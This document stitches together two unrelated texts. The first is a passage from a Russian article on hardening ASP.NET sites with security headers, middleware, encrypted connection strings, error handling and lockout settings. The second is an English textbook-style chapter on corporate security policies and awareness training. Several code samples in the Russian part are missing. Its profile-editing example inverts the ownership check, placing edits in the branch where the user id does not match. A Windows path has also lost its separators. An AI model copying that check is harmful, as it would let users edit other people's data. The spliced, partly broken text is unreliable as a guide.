Как избежать этого типа атаки? Самый простой вариант - это не попадать в ситуацию, когда с HttpPost передается какой-нибудь объект. А если такой ситуации не избежать, то быть готовым к тому, что передано может быть все что угодно. Один из вариантов это создать какой-то отдельный класс для передачи его через HttpPost. Это может быть как базовый класс текущего класса с общедоступными параметрами, так и класс-двойник. В этом классе важные поля можно пометить атрибутом Editable со значением false:

Избежать многих атак помогает установка определенных значений в заголовок запроса. Заголовки поддерживаются не всеми браузерами (в основном не поддерживаются старыми версиями). Рассмотрим некоторые популярные виды атак, избежать которых поможет установка Header-ов.

XSS

Уже рассмотренный выше вид атаки. Для дополнительной защиты можно использовать заголовок content-security-policy. Он позволит загружать контент только с определенных ресурсов. Например, можно разрешить запуск скриптов только с текущего сайта:

Content-security-policy: script-src "self"

Есть еще возможность указать доверенные сайты, доступ к содержимому которых разрешен.
Следующий заголовок тоже помогает защититься от XSS, хотя, как правило, он включен браузерами по умолчанию: x-xss-protection. Пример:

X-xss-protection: 1; mode=block

Click-Jacking

Зайдя на какой-то сайт пользователю может быть открыто какое-то окошко, ссылка или баннер поверх которого добавлена какая-то скрытая кнопка/ссылка внутри прозрачного iframe. И получается, что пользователь кликает на что-то, на что он хочет кликнуть, но при этом фактически кликает на скрытый объект против своей воли.

Установка заголовка "X-FRAME-OPTIONS " со значением "DENY" запретит помещение страниц вашего сайта в iframe. Если у вас на сайте нет фреймов, то это хороший вариант для вас. Если же вы используете iframe для отображения страниц вашего сайта, то значение SAMEORIGIN разрешит отображать страницы вашего сайта во фрейме, но только на других страницах того же самого вашего сайта.

MIME sniffing

Этот не название способа атаки, а проверка содержимого файлов, которая связана в первую очередь с XSS. Зачастую злоумышленник может загрузить какой-либо вредный код в виде какого-то файла с совершенно безобидным расширением. Допустим, в качестве тега video. И может случится так, что браузер распознает файл как код и выполнит его. Чтобы этого не произошло может использоваться установка заголовка "X-Content-Type-Options: nosniff". При получении этого заголовка браузер будет проверять является ли содержимое файла содержимым именно того формата, который указан (эта проверка и называется MIME sniffing).

Referrer-Policy

Браузеры автоматически добавляют в заголовки запросов при переходе на какой-то сайт ссылку на сайт с которого был совершен переход. Это очень удобно для аналитики. Например, не составит большого труда написать какой-то код, который составит для вас статистику со списком сайтов с которых посетители заходят на ваш сайт. Однако, если в стоке адреса на вашем сайте имеются запросы с какой-то конфиденциальной информацией, то очень желательным было бы скрыть эту информацию от других сайтов. Например: http://www.somegoodsite.com/Edit?id=34543276654

Каким образом можно добавить на ваш сайт заголовки запросов

Заголовки запросов можно установить, как с помощью настроек IIS, так и из кода приложения. Настройку IIS рассматривать не будем, а рассмотрим варианты установки заголовков из кода.

Для того, чтобы добавить заголовок в ASP.NET Core можно создать Middleware. Middleware как можно понять из названия - это какой-то промежуточный код, находящийся где-то посередине цепочки процесса запросов и ответов.
Вот пример пары классов, позволяющий добавить заголовок X-Frame-Options:DENY

Public class HeadersMiddleware { private readonly RequestDelegate _next; public HeadersMiddleware(RequestDelegate next) { _next = next; } public async Task Invoke(HttpContext context) { IHeaderDictionary headers = context.Response.Headers; headers["X-Frame-Options"] = "DENY"; await _next(context); } } public static class HeadersMiddlewareExtensions { public static IApplicationBuilder UseHeadersMiddleware(this IApplicationBuilder builder) { return builder.UseMiddleware(); } }

Зарегистрировать получившийся middleware можно в методе Configure файла Startup.cs одной строкой:

Теперь среди списка заголовков, полученных от сервера мы сможем увидеть наш недавно добавленный X-Frame-Options

Можно даже не использовать Middleware, а добавить заголовок сразу в метод Config файла Startup.cs, заменив

App.UseHeadersMiddleware();

App.Use(async (context, next) => { context.Response.Headers.Add("X-Frame-Options", "SAMEORIGIN"); await next(); });

Этот способ выглядит проще. Кроме того, с его помощью можно установить заголовки как для всего контента так и только для динамического (соответственно добавить код до строки app.UseStaticFiles() и после).

INFO

Динамический контент это файлы, которые, соответственно содержат в себе динамические данных модели. Статический контент - это такие файлы как html, css, js, jpg и т.п.

В классическом ASP.NET добавление заголовка совершается немного иным способом.
Есть два варианта. Первый это добавить в секцию system.webServer файла web.config теги. Например, такие:

Заметьте, что можно не только добавлять, но и удалять теги. В примере удаляется заголовок X-Powered-By. Чем меньше информации мы раскрываем, тем лучше, не так ли? Результат:

Кроме заголовка X-Powered-By вполне можно убрать еще и заголовки Server и X-AspNet-Version.
Второй вариант добавления заголовков это добавление метода Application_BeginRequest в файл Global.asax

Protected void Application_BeginRequest(object sender, EventArgs e) { HttpContext.Current.Response.AddHeader("X-FRAME-OPTIONS", "DENY"); }

NWebsec

Для добавления заголовком можно воспользоваться и довольно популярным NuGet пакетом под названием NWebsec. Автором пакета является Andre N. Klingsheim.
NWebsec можно использовать как с обычными ASP.NET приложениями, так и с Core 1.1
В приложении ASP.NET после установки пакета в web.config появятся следующие теги:

В качестве их содержимого можно добавить установку заголовков. Скажем, такой вариант:

App.UseXContentTypeOptions(); app.UseReferrerPolicy(opts => opts.NoReferrer());

App.UseStaticFiles();

App.UseXfo(xfo => xfo.Deny()); app.UseRedirectValidation();

Один большой минус NWebsec это то, что версия.NET Core 2.0 пока что не поддерживается.

Самые страшные ошибки конфигурирования Хранение строки подключения к базе данных

Если вы работаете в полноценном ASP.NET, то лучший вариант хранения строки подключения это web.config файл. Причем храните строку не в открытом виде, а в зашифрованном. Сделать это можно с помощью утилиты aspnet_regiis.exe Самый простой вариант - это запустить Developer Command Prompt в режиме администратора и выполнить команду

Aspnet_regiis.exe -pef connectionStrings C:inetpubwwwrootYourAppName

2 параметра команды это раздел который необходимо зашифровать (в данном случае connectionStrings) и путь к директории в которой находится файл web.config

Если вы работаете в ASP.NET Core, то вы можете использовать Secret Manager tool для хранения строк во время процесса разработки.
Никакого готового варианта для production для.NET Core пока что нет. Но если вы хостите приложение в Azure, то можете сохранить конфиденциальную информацию в параметрах приложения

При этом саму строку подключения вы можете вынести в отдельный файл. Из соображений безопасности этот файл лучше исключить из системы контроля версий.

Таким же образом можно вынести и конфиденциальные параметры:

В самом файле необходимо просто указать то содержимое, которое было бы использовано в качестве содержимого тегов.

Скрытие сообщений об ошибке

Возможно вы видели когда-либо «желтый экран смерти» с текстом кода, в котором возникла ошибка. Я не случайно поместил эту рекомендацию сразу после строки подключения. Тем нагляднее будет пример в котором злоумышленник может искусственным образом создать ошибку и получить какую-либо полезную для себя информацию. В идеальном случае это может быть строка подключения. Иногда даже мелочь может сократить время поиска уязвимостей сайта. Если у вас классическое приложение ASP.NET, то в web.config режим CustomErrors обязательно оставляем On или хотя бы RemoteOnly:

В ASP.NET Core можно разделить отображение для режима разработки и для продакшн с помощью NuGet пакета Microsoft.AspNetCore.Diagnostics. Например, для настройки отображения сообщения об ошибке в метод Configure класса StartUp можно добавить:

Env.EnvironmentName = EnvironmentName.Production; if (env.IsDevelopment()) { app.UseDeveloperExceptionPage(); } else { app.UseExceptionHandler("/error"); }

Еще несколько ошибок конфигурирования web.config

Если вдруг у вас в web.config случайно попали настройки трейсинга или дебага, то на продакшен сервере обязательно ставим значения false.

Для того, чтобы взломщик не смог получить доступ к файлу куки (скажем, с помощью XSS или каким-нибудь другим способом), необходимо чтобы значением следующего параметра было true

Broken Authentication and Session Management

Для хранения паролей и другой конфиденциальной информации используйте только стойкие хаши с salt. OWASP рекомендует Argon2, PBKDF2, scrypt and bcrypt.

Используйте Forms authentication только для интранет сайтов. Если вы хотите использовать аутентификацию в веб, то переходите на Identity.

Если вы уже используете Identity с ASP.NET Core приложением, то вы можете ограничить число попыток ввода пароля добавив в метод ConfigureServices файла Startup.cs следующий код:

Services.Configure(options => { options.Lockout.DefaultLockoutTimeSpan = TimeSpan.FromMinutes(30); options.Lockout.MaxFailedAccessAttempts = 10; });

Если вы разрешаете пользователю отредактировать какие-то его данные, то проверяйте редактирует ли он свои данные (помним о том, что полученным данным не стоит доверять):

Public ActionResult EditProfileInfo(int id) { var user = _context.Users.FirstOrDefault(e => e.Id == id); if (user.Id != _userIdentity.GetUserId()) { // Редактируем данные } // … }

Заключение

Насколько смог я постарался собрать воедино все что может пригодится ASP.NET разработчику. Конечно, рассказать получилось не обо всем. Например, можно еще отдельно рассмотреть возможные ошибки конфигурирования IIS. Однако данного материала должно хватить, чтобы усвоить основные правила и не совершать грубых ошибок.

Напоминаем, что это полная версия

Every organization has something that someone else wants. Someone might want that something for himself, or he might want the satisfaction of denying something to its rightful owner. Your assets are what need the protection of a security policy.

Determine what your assets are by asking (and answering) the following questions:

• What do you have that others want?
• What processes, data, or information systems are critical to you, your company, or your organization?
• What would stop your company or organization from doing business or fulfilling its mission?

The answers identify assets in a wide range, including critical databases, vital applications, vital company customer and employee information, classified commercial information, shared drives, email servers, and web servers.

A security policy comprises a set of objectives for the company, rules of behavior for users and administrators, and requirements for system and management that collectively ensure the security of network and computer systems in an organization. A security policy is a “living document,” meaning that the document is never finished and is continuously updated as technology and employee requirements change.

The security policy translates, clarifies, and communicates the management position on security as defined in high-level security principles. The security policy acts as a bridge between these management objectives and specific security requirements. It informs users, staff, and managers of their obligatory requirements for protecting technology and information assets. It should specify the mechanisms that you need to meet these requirements. It also provides a baseline from which to acquire, configure, and audit computer systems and networks for compliance with the security policy. Therefore, an attempt to use a set of security tools in the absence of at least an implied security policy is meaningless.

The three reasons for having a security policy are as follows:

• To inform users, staff, and managers
• To specify mechanisms for security
• To provide a baseline

One of the most common security policy components is an acceptable use policy (AUP). This component defines what users are allowed and not allowed to do on the various components of the system, including the type of traffic that is allowed on the networks. The AUP should be as explicit as possible to avoid ambiguity or misunderstanding. For example, an AUP might list the prohibited website categories.

Some sites refer to an acceptable use policy as an appropriate use policy .

A properly defined security policy does the following:

• Protects people and information
• Sets the rules for expected behavior
• Authorizes staff to monitor, probe, and investigate
• Defines the consequences of violations

The audience for the security policy is anyone who might have access to your network, including employees, contractors, suppliers, and customers. However, the security policy should treat each of these groups differently.

The audience determines the content of the policy. For example, you probably do not need to include a description of why something is necessary in a policy that is intended for the technical staff. You can assume that the technical staff already knows why a particular requirement is included. Managers are also not likely to be interested in the technical aspects of why a particular requirement is needed. However, they might want the high-level overview or the principles supporting the requirement. When end users know why a particular security control has been included, they are more likely to comply with the policy.

In the policy, users can be organized into two audiences:

• Internal audience
  • Managers and executives
  • Departments and business units
  • Technical staff
  • End users
• External audience
  • Partners
  • Customers
  • Suppliers
  • Consultants and contractors

One document will not likely meet the needs of the entire audience of a large organization. The goal is to ensure that the information security policy documents are coherent with its audience needs.

Security Policy Components

shows the hierarchy of a corporate policy structure that is aimed at effectively meeting the needs of all audiences.

Components of a Comprehensive Security Policy

Most corporations should use a suite of policy documents to meet their wide and varied needs:

• Governing policy: This policy is a high-level treatment of security concepts that are important to the company. Managers and technical custodians are the intended audience. The governing policy controls all security-related interaction among business units and supporting departments in the company. In terms of detail, the governing policy answers the “what” security policy questions.
• End-user policies: This document covers all security topics important to end users. In terms of detail level, end-user policies answer the “what,” “who,” “when,” and “where” security policy questions at an appropriate level of detail for an end user.
• Technical policies: Security staff members use technical policies as they carry out their security responsibilities for the system. These policies are more detailed than the governing policy and are system or issue specific (for example, access control or physical security issues). In terms of detail, technical policies answer the “what,” “who,” “when,” and “where” security policy questions. The “why” is left to the owner of the information.

To assist you at drafting your security policies, consider the SANS security policies repository at .

For readers interested in security policies for academic institutions, visit the University of Toronto’s Computer Security Administration website for a comprehensive example of a network security policy for a higher education institution: http://www.cns.utoronto.ca/newsite/documentation/policies/policy_5.htm

Governing Policy

The governing policy outlines the security concepts that are important to the company for managers and technical custodians:

• It controls all security-related interactions among business units and supporting departments in the company.
• It aligns closely with not only existing company policies, especially human resource policies, but also any other policy that mentions security-related issues, such as issues concerning email, computer use, or related IT subjects.
• It is placed at the same level as all companywide policies.
• It supports the technical and end-user policies.
• It includes the following key components:
  • A statement of the issue that the policy addresses
  • A statement about your position as IT manager on the policy
  • How the policy applies in the environment
  • The roles and responsibilities of those affected by the policy
  • What level of compliance to the policy is necessary
  • Which actions, activities, and processes are allowed and which are not
  • What the consequences of noncompliance are

End-User Policies

End-user policies are compiled into a single policy document that covers all the topics pertaining to information security that end users should know about, comply with, and implement. This policy may overlap with the technical policies and is at the same level as a technical policy. Grouping all the end-user policies together means that users have to go to only one place and read one document to learn everything that they need to do to ensure compliance with the company security policy.

Technical Policies

Security staff members use the technical policies in the conduct of their daily security responsibilities. These policies are more detailed than the governing policy and are system or issue specific (for example, router security issues or physical security issues). These policies are essentially security handbooks that describe what the security staff does, but not how the security staff performs its functions.

The following are typical policy categories for technical policies:

• General policies
  • Acceptable use policy (AUP): Defines the acceptable use of equipment and computing services, and the appropriate security measures that employees should take to protect the corporate resources and proprietary information.
  • Account access request policy: Formalizes the account and access request process within the organization. Users and system administrators who bypass the standard processes for account and access requests may cause legal action against the organization.
  • Acquisition assessment policy: Defines the responsibilities regarding corporate acquisitions and defines the minimum requirements that the information security group must complete for an acquisition assessment.
  • Audit policy: Use to conduct audits and risk assessments to ensure integrity of information and resources, investigate incidents, ensure conformance to security policies, or monitor user and system activity where appropriate.
  • Information sensitivity policy: Defines the requirements for classifying and securing information in a manner appropriate to its sensitivity level.
  • Password policy: Defines the standards for creating, protecting, and changing strong passwords.
  • Risk-assessment policy: Defines the requirements and provides the authority for the information security team to identify, assess, and remediate risks to the information infrastructure that is associated with conducting business.
  • Global web server policy: Defines the standards that are required by all web hosts.
• Email policies
  • Automatically forwarded email policy: Documents the policy restricting automatic email forwarding to an external destination without prior approval from the appropriate manager or director.
  • Email policy: Defines the standards to prevent tarnishing the public image of the organization.
  • Spam policy: The AUP covers spam.
• Remote-access policies
  • Dial-in access policy: Defines the appropriate dial-in access and its use by authorized personnel.
  • Remote-access policy: Defines the standards for connecting to the organization network from any host or network external to the organization.
  • VPN security policy: Defines the requirements for remote-access IP Security (IPsec) or Layer 2 Tunneling Protocol (L2TP) VPN connections to the organization network.
• Personal device and phone policies
  • Analog and ISDN line policy: Defines the standards to use analog and ISDN lines for sending and receiving faxes and for connection to computers.
  • Personal communication device policy: Defines the information security’s requirements for personal communication devices, such as voicemail, smartphones, tablets, and so on.
• Application policies
  • Acceptable encryption policy: Defines the requirements for encryption algorithms that are used within the organization.
  • Application service provider (ASP) policy: Defines the minimum security criteria that an ASP must execute before the organization uses the ASP’s services on a project.
  • Database credentials coding policy: Defines the requirements for securely storing and retrieving database usernames and passwords.
  • Interprocess communications policy: Defines the security requirements that any two or more processes must meet when they communicate with each other using a network socket or operating system socket.
  • Project security policy: Defines requirements for project managers to review all projects for possible security requirements.
  • Source code protection policy: Establishes minimum information security requirements for managing product source code.
• Network policies
  • Extranet policy: Defines the requirement that third-party organizations that need access to the organization networks must sign a third-party connection agreement.
  • Minimum requirements for network access policy: Defines the standards and requirements for any device that requires connectivity to the internal network.
  • Network access standards: Defines the standards for secure physical port access for all wired and wireless network data ports.
  • Router and switch security policy: Defines the minimal security configuration standards for routers and switches inside a company production network or used in a production capacity.
  • Server security policy: Defines the minimal security configuration standards for servers inside a company production network or used in a production capacity.
• Wireless communication policy: Defines standards for wireless systems that are used to connect to the organization networks.
• Document retention policy: Defines the minimal systematic review, retention, and destruction of documents received or created during the course of business. The categories of retention policy are, among others:
  • Electronic communication retention policy: Defines standards for the retention of email and instant messaging.
  • Financial retention policy: Defines standards for the retention of bank statements, annual reports, pay records, accounts payable and receivable, and so on.
  • Employee records retention policy: Defines standards for the retention of employee personal records.
  • Operation records retention policy: Defines standards for the retention of past inventories information, training manuals, suppliers lists, and so forth.

Standards, Guidelines, and Procedures

Security policies establish a framework within which to work, but they are too general to be of much use to individuals responsible for implementing these policies. Because of this, other, more-detailed documents exist. Among the more important of these detailed documents are the standards, guidelines, and procedures documents.

Whereas policy documents are very much high-level overview documents, the standards, guidelines, and procedures documents are documents that the security staff will use regularly to implement the security policies.

Standards

Standards enable an IT staff to be consistent. They specify the use of specific technologies so that IT staff members can narrow the focus of their expertise to those technologies instead of trying to know everything about all sorts of technologies. Standards also try to provide consistency in the network, because supporting multiple versions of hardware and software is unreasonable unless it is necessary. The most successful IT organizations have standards to improve efficiency and to keep things as simple as possible.

Standardization also applies to security. One of the most important security principles is consistency. If you support 100 routers, it is important that you configure all 100 routers as similarly as possible. If you do not do this, it is difficult to maintain security. When you do not strive for the simplest of solutions, you usually fail in being secure.

Guidelines

Guidelines help provide a list of suggestions on how you can do things better. Guidelines are similar to standards, but are more flexible and are not usually mandatory. You will find some of the best guidelines available in repositories known as “best practices.” The following is a list of widely available guidelines:

• National Institute of Standards and Technology (NIST) Computer Security Resource Center; http://csrc.nist.gov/
• National Security Agency (NSA) Security Configuration Guides; http://www.nsa.gov/ia/mitigation_guidance/security_configuration_guides/index.shtml
• The Common Criteria for Information Technology Security Evaluation; http://www.commoncriteriaportal.org/
• Defense Information Systems Agency (DISA) Field Security Operations Office – Security Technical Information Guides (STIG); http://iase.disa.mil/stigs/

Note that the Rainbow Series from NIST was historically a reliable source for InfoSec guidelines but is now outdated.

Procedures

Procedure documents are longer and more detailed than the standards and guidelines documents. Procedure documents include the details of implementation, usually with step-by-step instructions and graphics. Procedure documents are extremely important for large organizations to enable them to have the consistency of deployment that is necessary to have a secure environment. Inconsistency is the enemy of security.

Table 1-6 provides a comparative chart for standards, guidelines, and procedures, which accompany security policies.

Table 1-6. Comparison Between Standards, Guidelines, Procedures

	Characteristics
Standards	Specify the use of specific technologies in a uniform way
	Improve efficiency
	Are usually mandatory
	Accomplish consistency and uniformity
Guidelines	Are similar to standards, but more flexible and not usually mandatory
	Can be used to define how standards should be developed or to guarantee adherence to general security policies
	Include NIST Computer Security Resource Center, NSA Security Configuration Guides, Common Criteria, and others
Procedures	Are usually required
	Are the lowest level of the policy chain
	Provide detailed steps used to perform specific tasks
	Provide the steps required to implement the policies, standards, and guidelines
	Are also known as practices

Security Policy Roles and Responsibilities

In any organization, it is senior management, such as the CEO, that is always ultimately responsible for everything. Typically, senior management only oversees the development of a security policy. The creation and maintenance of a security policy is usually delegated to the people in charge of IT or security operations.

Sometimes the senior security or IT management personnel, such as the chief security officer (CSO), the chief information officer (CIO), or the chief information security officer (CISO), will have the expertise to create the policy, sometimes they will delegate it, and sometimes it will be a bit of both strategies. But the senior security person is always intimately involved in the development and maintenance of security policy. Guidelines can provide a framework for policy decision making.

Senior security staff is often consulted for input on a proposed policy project. They might even be responsible for the development and maintenance of portions of the policy. It is more likely that senior staff will be responsible for the development of standards and procedures.

Everyone else who is involved in the security policy has the duty to abide by it. Many policy statements will include language that refers to a potential loss of employment for violation of the policy. IT staff and end users alike are responsible to know the policy and follow it.

Security Awareness

Technical, administrative, and physical controls can all be defeated without the participation of the end-user community. To get accountants, administrative assistants, and other end users to think about information security, you must regularly remind them about security. The technical staff also needs regular reminders because their jobs tend to emphasize performance, such as introducing new technologies, increasing throughput, and the like, rather than secure performance, such as how many attacks they repelled. Therefore, leadership must develop a nonintrusive program that keeps everyone aware of security and how to work together to maintain the security of their data. The three key components used to implement this type of program are awareness, training, and education.

An effective computer security-awareness and training program requires proper planning, implementation, maintenance, and periodic evaluation. In general, a computer security-awareness and training program should encompass the following seven steps:

Step 1. Identify program scope, goals, and objectives.

The scope of the program should provide training to all types of people who interact with IT systems. Because users need training that relates directly to their use of particular systems, you need to supplement a large, organization-wide program with more system-specific programs.

Step 2. Identify training staff.

It is important that trainers have sufficient knowledge of computer security issues, principles, and techniques. It is also vital that they know how to communicate information and ideas effectively.

Step 3. Identify target audiences.

Not everyone needs the same degree or type of computer security information to do his or her job. A computer security-awareness and training program that distinguishes between groups of people, presents only the information that is needed by the particular audience, and omits irrelevant information will have the best results.

Step 4. Motivate management and employees.

To successfully implement an awareness and training program, it is important to gain the support of management and employees. Consider using motivational techniques to show management and employees how their participation in a computer security and awareness program will benefit the organization.

Step 5. Administer the program.

Several important considerations for administering the program include visibility, selection of appropriate training methods, topics, and materials, and presentation techniques.

Step 6. Maintain the program.

You should make an effort to keep abreast of changes in computer technology and security requirements. A training program that meets the needs of an organization today may become ineffective when the organization starts to use a new application or changes its environment, such as by connecting to the Internet.

Step 7. Evaluate the program.

An evaluation should attempt to ascertain how much information is retained, to what extent computer security procedures are being followed, and the general attitudes toward computer security.

A successful IT security program consists of the following:

Developing IT security policy that reflects business needs tempered by known risks.

Informing users of their IT security responsibilities, as documented in agency security policy and procedures.

Establishing processes for monitoring and reviewing the program.

You should focus security awareness and training on the entire user population of the organization. Management should set the example for proper IT security behavior within an organization. An awareness program should begin with an effort that you can deploy and implement in various ways and be aimed at all levels of the organization, including senior and executive managers. The effectiveness of this effort usually determines the effectiveness of the awareness and training program and how successful the IT security program will be.